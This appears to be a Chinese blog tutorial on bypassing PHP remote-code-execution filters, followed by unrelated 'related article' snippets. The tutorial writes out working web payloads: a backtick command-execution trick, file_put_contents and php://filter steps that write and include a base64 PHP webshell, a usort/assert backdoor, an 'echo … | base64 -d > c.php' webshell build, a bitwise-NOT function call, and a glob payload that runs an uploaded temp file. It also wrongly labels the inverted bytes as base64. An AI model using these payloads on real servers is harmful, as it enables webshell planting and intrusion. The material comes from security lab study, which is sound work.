当前位置: 首页 > news >正文

RCE绕过技巧

目录

EVAL长度限制突破技巧

1.使用反引号

2.file_put_contents写入文件

3.php5.6+变长参数+usort回调后门

命令长度限制突破技巧

1.拼接文件名

无字母数字的webshell命令执行

1.取反码

2.上传临时文件


EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。

由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;

把代码执行转换成命令执行

1.使用反引号

param=echo `$_GET[1]`;&1=id

效果:

有人就要问,不是说是限制到了17位一下吗。

因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。

2.file_put_contents写入文件

将一句话木马进行base64编码后追加写入文件

web.php?1=file_put_contents&param=$_GET[1](N,P,8);  

web.php?1=file_put_contents&param=$_GET[1](N,D,8);

...

web.php?1=file_put_contents&param=$_GET[1](N,w,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中    */

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

P:一句话木马的base64的编码

8:代表追加

未执行命令前的

执行后

因为像<等特殊符号,不能直接写入<,所以必须base64编码

3.php5.6+变长参数+usort回调后门

usort(...$_GET);

js中的可变长参数用...表示

?1[]=test&1[]=phpinfo();&2=assert

使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则

右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了

只能执行简单的命令了

1.拼接文件名

因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell

无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_

这样就不能用上面的方法了。那怎么办

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90   --这个是phpinfo的base64编码

~   --取反

code=(~%8F%97%8F%96%91%99%90)();

这样就可以执行

2.上传临时文件

因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制

先将本地的文件上传到服务器的临时目录 /tmp

然后在没有被删除的情况下执行起来

难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。

2.没有执行权限

解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。

成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了

接下来就是用burpsuite抓包

先抓demo.html和web.php包

两个包repeater

如下所示,将demo.html包中的内容复制到web.php中

将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码

?code=?><?=`.+/???/????????[@-[]`; ?>

成功

相关文章:

RCE绕过技巧

目录 EVAL长度限制突破技巧 1.使用反引号 2.file_put_contents写入文件 3.php5.6变长参数usort回调后门 命令长度限制突破技巧 1.拼接文件名 无字母数字的webshell命令执行 1.取反码 2.上传临时文件 EVAL长度限制突破技巧 分析代码&#xff1a;首先传递一个param参数&…...

Spring源码解析(31)之事务配置文件解析以及核心对象创建过程

一、前言 首先我们先准备一下spring 事务的配置文件&#xff0c;具体内容如下&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/20…...

win11安装docker报错记录

报错一&#xff1a; Docker Desktop - Unexpected WSL error An unexpected error occurred while executing a WSL command. Either shut down WSL down with wsl --shutdown, and/or reboot your machine. You can also try reinstalling WSL and/or Docker Desktop. If t…...

【vulnhub】CLAMP 1.0.1靶机

信息收集 靶机发现 端口扫描 页面访问&#xff0c;并查看源码 访问 /nt4stopc/,下面有一些问题&#xff0c;提示必须收集答案 一些判断题&#xff0c;对与错对应1与0&#xff0c;最后结果为0110111001&#xff0c;拼接访问 点击图中位置&#xff0c;发现存在参数&#xff0c;p…...

GPS跟踪环路MATLAB之——数字锁相环

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 GPS跟踪环路MATLAB之——数字锁相环 前言为什么要锁相环科斯塔斯环锁相环的一些基本概念1、捕获、锁定与跟踪的概念2、捕获时间和稳态相差3、相位捕获和频率捕获4、捕获带和同…...

docker开发环境搭建-关于数据库的IP是什么

故事的背景是这样的&#xff1a; 我在本地的ubuntu系统上安装了docker&#xff0c;并创建了一个mysql容器&#xff0c;但是在使用DBeaver连接该数据库时&#xff0c;需要填写数据库的ip&#xff0c;填写127.0.0.1&#xff0c;工具提示找不到这个库&#xff0c;然后使用ip addr…...

loginApi

import request from "/utils/request"; import { AxiosPromise } from "axios"; import { CaptchaResult, LoginData, LoginResult } from "./types";/*** 登录API** param data {LoginData}* returns*/ export function loginApi(data: LoginD…...

【RAG检索增强生成】Ollama+AnythingLLM本地搭建RAG大模型私有知识库

目录 前言一、Ollama&#xff1a;革新性的本地LLM服务工具1.核心优势2.技术亮点 二、AnythingLLM 概览1.核心特性2.技术生态支持 三、搭建本地智能知识库1. Ollama的安装启航2. AnythingLLM的安装对接3. AnythingLLM的配置精调4. 工作区与文档管理5. 聊天与检索的智能交互 四、…...

【wiki知识库】08.添加用户登录功能--前端Vue部分修改

&#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 目录 &#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 一、今日目标 二、前端Vue模块的修改 2.1 the-header组件 2.2 store工具 2.3 router路由配置修改 一、今日目标 上篇文章…...

写给非机器学习人员的 embedding 入门

你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;评论或者私信告诉我&#xff01; 文章目录 一…...

Oracle【plsql编写九九乘法表】

九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果...

ansible安装K8s

部署Kubernetes (k8s) 集群使用Ansible是一个常见的自动化解决方案。下面我将提供一个基本的步骤概述和所需的命令&#xff0c;用于在CentOS 7.8上使用Ansible部署k8s集群&#xff0c;包括Master节点和Worker节点&#xff08;Web和DB节点&#xff09;。 步骤 1: 准备环境 确保所…...

restful传值

GetMapping 普通的get请求 后端&#xff1a; restfule的get请求 通过/asd/123这种方式get请求传入后端 前端 url: /system/role/deptTree/ roleId / tenantId, method: get后端PathVariable从path上取对应的值 通过 GetMapping(value "/deptTree/{roleId}/{tenan…...

Qt自定义TreeWidget,实现展开折叠按钮在右侧,且一条竖直线上对齐

效果如下&#xff1a; 图片随便找的&#xff0c;可能需要调下样式&#xff0c;代码复制可用&#xff0c;留给有需要的人。 #ifndef CustomTreeWidget_h__ #define CustomTreeWidget_h__#include <QTreeWidget> #include <QPushButton>class CCustomTreeWidget : p…...

硅步千里:如何入行?——之入行成为软件开发者

无论何时&#xff0c;你是否有遇到这样的场景&#xff08;在自己从未涉足过的行业或领域&#xff0c;现在需要自己去这个行业或领域学习探索&#xff0c;最初的目标是熟悉行业&#xff0c;快速融入进去&#xff0c;很多时候&#xff0c;我们只是了解了个大概&#xff0c;并没能…...

Sandbox: rsync.samba(80134) deny(1) file-write-create

Xcode15运行报错:Sandbox: rsync.samba(80134) deny(1) file-write-create/xxx/xxx 如下图: 解决办法: Build Settings 搜索 sandbox&#xff0c;把 Build Options 中的 User Script Sandboxing改为 NO...

lvs的dr模式综合实践

目录 ​编辑虚拟机准备工作 ​编辑​编辑​编辑 配置过程 配置client主机 配置router主机 配置lvs主机&#xff08;vip使用环回来创建&#xff09; 配置server1主机&#xff08;vip使用环回来创建&#xff09; 配置server2主机&#xff08;vip使用环回来创建&#xff0…...

什么是自然语言处理

自然语言处理&#xff08;Natural Language Processing, NLP&#xff09;是人工智能&#xff08;AI&#xff09;的一个子领域&#xff0c;涉及计算机与人类语言的交互。它的目标是让计算机能够理解、分析、生成和操作自然语言&#xff0c;从而实现与人类的有效沟通。 自然语言处…...

快速理解互联网中的常用名词

并发与并行 并发&#xff1a;任务交替执行&#xff0c;伪并行&#xff0c;涉及CPU时间片和上下文切换。并行&#xff1a;任务真正同时执行&#xff0c;需要多核处理器&#xff0c;无上下文切换。 并发量&#xff08;Concurrency&#xff09; 概念&#xff1a;服务端程序单位…...

统计接口调用耗时_黑白名单配置

黑名单配置 黑名单就是那些被禁止访问的URL创建自定义过滤器 BlackListUrlFilter&#xff0c;并配置黑名单地址列表blacklistUrl如果有其他需求&#xff0c;还可以实现自定义规则的过滤器来满足特定的过滤要求 /*** 黑名单过滤器** author canghe*/ Component public class B…...

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

Fabric V2.5 通用溯源系统——增加图片上传与下载功能

fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)

前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

springboot整合VUE之在线教育管理系统简介

可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生&#xff0c;小白用户&#xff0c;想学习知识的 有点基础&#xff0c;想要通过项…...

CVPR2025重磅突破:AnomalyAny框架实现单样本生成逼真异常数据,破解视觉检测瓶颈!

本文介绍了一种名为AnomalyAny的创新框架&#xff0c;该方法利用Stable Diffusion的强大生成能力&#xff0c;仅需单个正常样本和文本描述&#xff0c;即可生成逼真且多样化的异常样本&#xff0c;有效解决了视觉异常检测中异常样本稀缺的难题&#xff0c;为工业质检、医疗影像…...

沙箱虚拟化技术虚拟机容器之间的关系详解

问题 沙箱、虚拟化、容器三者分开一一介绍的话我知道他们各自都是什么东西&#xff0c;但是如果把三者放在一起&#xff0c;它们之间到底什么关系&#xff1f;又有什么联系呢&#xff1f;我不是很明白&#xff01;&#xff01;&#xff01; 就比如说&#xff1a; 沙箱&#…...

​​企业大模型服务合规指南:深度解析备案与登记制度​​

伴随AI技术的爆炸式发展&#xff0c;尤其是大模型&#xff08;LLM&#xff09;在各行各业的深度应用和整合&#xff0c;企业利用AI技术提升效率、创新服务的步伐不断加快。无论是像DeepSeek这样的前沿技术提供者&#xff0c;还是积极拥抱AI转型的传统企业&#xff0c;在面向公众…...

高防服务器价格高原因分析

高防服务器的价格较高&#xff0c;主要是由于其特殊的防御机制、硬件配置、运营维护等多方面的综合成本。以下从技术、资源和服务三个维度详细解析高防服务器昂贵的原因&#xff1a; 一、硬件与技术投入 大带宽需求 DDoS攻击通过占用大量带宽资源瘫痪目标服务器&#xff0c;因此…...

Pydantic + Function Calling的结合

1、Pydantic Pydantic 是一个 Python 库&#xff0c;用于数据验证和设置管理&#xff0c;通过 Python 类型注解强制执行数据类型。它广泛用于 API 开发&#xff08;如 FastAPI&#xff09;、配置管理和数据解析&#xff0c;核心功能包括&#xff1a; 数据验证&#xff1a;通过…...

C# WPF 左右布局实现学习笔记(1)

开发流程视频&#xff1a; https://www.youtube.com/watch?vCkHyDYeImjY&ab_channelC%23DesignPro Git源码&#xff1a; GitHub - CSharpDesignPro/Page-Navigation-using-MVVM: WPF - Page Navigation using MVVM 1. 新建工程 新建WPF应用&#xff08;.NET Framework) 2.…...